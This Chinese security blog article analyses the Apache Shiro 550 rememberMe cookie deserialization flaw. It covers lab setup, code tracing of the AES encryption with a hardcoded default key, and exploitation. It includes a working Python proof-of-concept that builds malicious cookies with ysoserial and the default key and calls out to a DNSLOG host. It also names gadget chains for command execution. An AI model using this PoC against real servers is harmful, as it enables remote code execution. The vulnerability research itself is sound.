Java安全之Shiro 550反序列化漏洞分析
首發自安全客:Java安全之Shiro 550反序列化漏洞分析
0x00 前言
在近些時間基本都能在一些滲透或者是攻防演練中看到Shiro的身影,也是Shiro的該漏洞也是用的比較頻繁的漏洞。本文對該Shiro550 反序列化漏洞進行一個分析,了解漏洞產生過程以及利用方式。
0x01 漏洞原理
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,產生原因是因為shiro接受了Cookie里面rememberMe
的值,然后去進行Base64解密后,再使用aes密鑰解密后的數據,進行反序列化。
反過來思考一下,如果我們構造該值為一個cc鏈序列化后的值進行該密鑰aes加密后進行base64加密,那么這時候就會去進行反序列化我們的payload內容,這時候就可以達到一個命令執行的效果。
獲取rememberMe值 -> Base64解密 -> AES解密 -> 調用readobject反序列化操作
0x02 漏洞環境搭建
漏洞環境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
打開shiro/web目錄,對pom.xml進行配置依賴配置一個cc4和jstl組件進來,后面再去說為什么shiro自帶了commons-collections:3.2.1
還要去手工配置一個commons-collections:4.0
。
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 這里需要將jstl設置為1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
坑點
Shiro的編譯太痛苦了,各種坑,下面來排一下坑。
配置maven\conf\toolchains.xml
,這里需要指定JDK1.6的路徑和版本,編譯必須要1.6版本,但不影響在其他版本下運行。
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>
</configuration>
</toolchain>
</toolchains>
這些都完成后進行編譯。
Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
這里還是報錯了。
后面編譯的時候,切換成了maven3.1.1的版本。然后就可以編譯成功了。
但是后面又發現部署的時候訪問不到,編譯肯定又出了問題。
后面把這兩個里面的<scope>
標簽給注釋掉,然后就可以了。
把pom.xml配置貼一下。
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 這里需要將jstl設置為1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
經過2天的排坑,終於把這個坑給解決掉,這里必須貼幾張照片慶祝慶祝。
輸入賬號密碼,勾選Remerber me選項。進行抓包
下面就可以來分析該漏洞了。
0x03 漏洞分析
加密
漏洞產生點在CookieRememberMeManager
該位置,來看到rememberSerializedIdentity
方法。
該方法的作用為使用Base64對指定的序列化字節數組進行編碼,並將Base64編碼的字符串設置為cookie值。
那么我們就去查看一下該方法在什么地方被調用。
在這可以看到該類繼承的AbstractRememberMeManager
類調用了該方法。跟進進去查看
發現這個方法被rememberIdentity
方法給調用了,同樣方式繼續跟進。
在這里會發現rememberIdentity
方法會被onSuccessfulLogin
方法給調用,跟蹤到這一步,就看到了onSuccessfulLogin
登錄成功的方法。
當登錄成功后會調用AbstractRememberMeManager.onSuccessfulLogin
方法,該方法主要實現了生成加密的RememberMe Cookie
,然后將RememberMe Cookie
設置為用戶的Cookie值。在前面我們分析的rememberSerializedIdentity
方法里面去實現了。可以來看一下這段代碼。
回到onSuccessfulLogin
這個地方,打個斷點,然后web登錄頁面輸入root/secret 口令進行提交,再回到IDEA中查看。找到登錄成功方法后,我們可以來正向去做個分析,不然剛剛的方式比較麻煩。
這里看到調用了isRememberMe
很顯而易見得發現這個就是一個判斷用戶是否選擇了Remember Me
選項。
如果選擇Remember Me
功能的話返回true,如果不選擇該選項則是調用log.debug方法在控制台輸出一段字符。
這里如果為true的話就會調用rememberIdentity
方法並且傳入三個參數。F7跟進該方法。
前面說過該方法會去生成一個PrincipalCollection
對象,里面包含登錄信息。F7進行跟進rememberIdentity
方法。
查看convertPrincipalsToBytes
具體的實現與作用。
跟進該方法查看具體實現。
看到這里其實已經很清晰了,進行了一個序列化,然后返回序列化后的Byte數組。
再來看到下一段代碼,這里如果getCipherService
方法不為空的話,就會去執行下一段代碼。getCipherService
方法是獲取加密模式。
還是繼續跟進查看。
查看調用,會發現在構造方法里面對該值進行定義。
完成這一步后,就來到了這里。
調用encrypt
方法,對序列化后的數據進行處理。繼續跟進。
這里調用cipherService.encrypt
方法並且傳入序列化數據,和getEncryptionCipherKey
方法。
getEncryptionCipherKey
從名字上來看是獲取密鑰的方法,查看一下,是怎么獲取密鑰的。
查看調用的時候,發現setCipherKey
方法在構造方法里面被調用了。
查看DEFAULT_CIPHER_KEY_BYTES
值會發現里面定義了一串密鑰
而這個密鑰是定義死的。
返回剛剛的加密的地方。
這個地方選擇跟進,查看具體實現。
查看到這里發現會傳入前面序列化的數組和key值,最后再去調用他的重載方法並且傳入序列化數組、key、ivBytes值、generate。
iv的值由generateInitializationVector
方法生成,進行跟進。
查看getDefaultSecureRandom
方法實現。
返回generateInitializationVector
方法繼續查看。這個new了一個byte數組長度為16
最后得到這個ivBytes值進行返回。
這里執行完成后就拿到了ivBytes的值了,這里再回到加密方法的地方查看具體加密的實現。
這里調用crypt方法進行獲取到加密后的數據,而這個output是一個byte數組,大小是加密后數據的長度加上iv這個值的長度。
iv 的小tips
- 某些加密算法要求明文需要按一定長度對齊,叫做塊大小(BlockSize),我們這次就是16字節,那么對於一段任意的數據,加密前需要對最后一個塊填充到16 字節,解密后需要刪除掉填充的數據。
- AES中有三種填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
- PKCS7Padding跟PKCS5Padding的區別就在於數據填充方式,PKCS7Padding是缺幾個字節就補幾個字節的0,而PKCS5Padding是缺幾個字節就補充幾個字節的幾,好比缺6個字節,就補充6個字節
不了解加密算法的可以看Java安全之安全加密算法
在執行完成后序列化的數據已經被進行了AES加密,返回一個byte數組。
執行完成后,來到這一步,然后進行跟進。
到了這里其實就沒啥好說的了。后面的步驟就是進行base64加密后設置為用戶的Cookie的rememberMe字段中。
解密
由於我們並不知道哪個方法里面去實現這么一個功能。但是我們前面分析加密的時候,調用了AbstractRememberMeManager.encrypt
進行加密,該類中也有對應的解密操作。那么在這里就可以來查看該方法具體會在哪里被調用到,就可以追溯到上層去,然后進行下斷點。
查看 getRememberedPrincipals
方法在此處下斷點
跟蹤
返回getRememberedPrincipals
方法。
在下面調用了convertBytesToPrincipals
方法,進行跟蹤。
查看decrypt
方法具體實現。
和前面的加密步驟類似,這里不做詳細講解。
生成iv值,然后傳入到他的重載方法里面。
到了這里執行完后,就進行了AES的解密完成。
還是回到這一步。
這里返回了deserialize
方法的返回值,並且傳入AES加密后的數據。
進行跟蹤該方法。
繼續跟蹤。
到了這步,就會對我們傳入進來的AES解密后的數據進行調用readObject
方法進行反序列化操作。
0x04 漏洞攻擊
漏洞探測
現在已經知道了是因為獲取rememberMe值,然后進行解密后再進行反序列化操作。
那么在這里如果拿到了密鑰就可以偽造加密流程。
網上找的一個加密的腳本
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
獲取到值后加密后的payload后可以在burp上面進行手工發送測試一下。
發送完成后,就可以看到DNSLOG平台上面回顯了。
當使用URLDNS鏈的打過去,在DNSLOG平台有回顯的時候,就說明這個地方存在反序列化漏洞。
但是要利用的話還得是使用CC鏈等利用鏈去進行命令的執行。
漏洞利用
前面我們手動給shio配上cc4的組件,而shiro中自帶的是cc3.2.1版本的組件,為什么要手工去配置呢?
其實shiro中重寫了ObjectInputStream
類的resolveClass
函數,ObjectInputStream
的resolveClass
方法用的是Class.forName
類獲取當前描述器所指代的類的Class對象。而重寫后的resolveClass
方法,采用的是ClassUtils.forName
。查看該方法
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
在傳參的地方如果傳入一個Transform
數組的參數,會報錯。
后者並不支持傳入數組類型。
resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持裝載數組類型的class
那么在這里可以使用cc2和cc4的利用鏈去進行命令執行,因為這兩個都是基於javassist去實現的,而不是基於Transform
數組。具體的可以看前面我的分析利用鏈文章。
除了這兩個其實在部署的時候,可以發現組件當中自帶了一個CommonsBeanutils的組件,這個組件也是有利用鏈的。可以使用CommonsBeanutils這條利用鏈進行命令執行。
那么除了這些方式就沒有了嘛?假設沒有cc4的組件,就一定執行不了命令了嘛?其實方式還是有的。wh1t3p1g師傅在文章中已經給出了解決方案。需要重新去特殊構造一下利用鏈。
參考文章
https://www.anquanke.com/post/id/192619#h2-4
https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils
https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
0x05 結尾
在該漏洞中我覺得主要的難點在於環境搭建上費了不少時間,還有的就是關於shiro中大部分利用鏈沒法使用的解決。